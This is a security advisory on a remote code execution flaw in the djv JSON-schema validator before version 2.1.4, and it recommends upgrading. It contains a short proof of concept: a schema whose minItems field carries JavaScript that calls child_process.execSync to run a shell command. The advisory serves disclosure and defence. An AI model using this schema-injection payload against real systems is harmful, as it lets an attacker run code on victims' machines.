Remote Code Execution (RCE) Affecting djv package, versions <2.1.4


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.44% (76th percentile)

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  • Snyk IDSNYK-JS-DJV-1014545
  • published4 Jan 2021
  • disclosed30 Sept 2020
  • creditAlessio Della Libera (d3lla)

Introduced: 30 Sep 2020

CVE-2020-28464  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade djv to version 2.1.4 or higher.

Overview

djv is a dynamic json-schema validator

Affected versions of this package are vulnerable to Remote Code Execution (RCE). By controlling the schema file, an attacker can run arbitrary JavaScript code on the victim machine.

POC:

const djv = require('djv');
const env = new djv();
const evilSchema = JSON.parse('{"common":{"type":"array", "minItems":"process.mainModule.require(`child_process`).execSync(`touch HACKED`)"}}')
env.addSchema('test', evilSchema);
env.validate('test#/common', { type: 'custom' });

CVSS Scores

version 3.1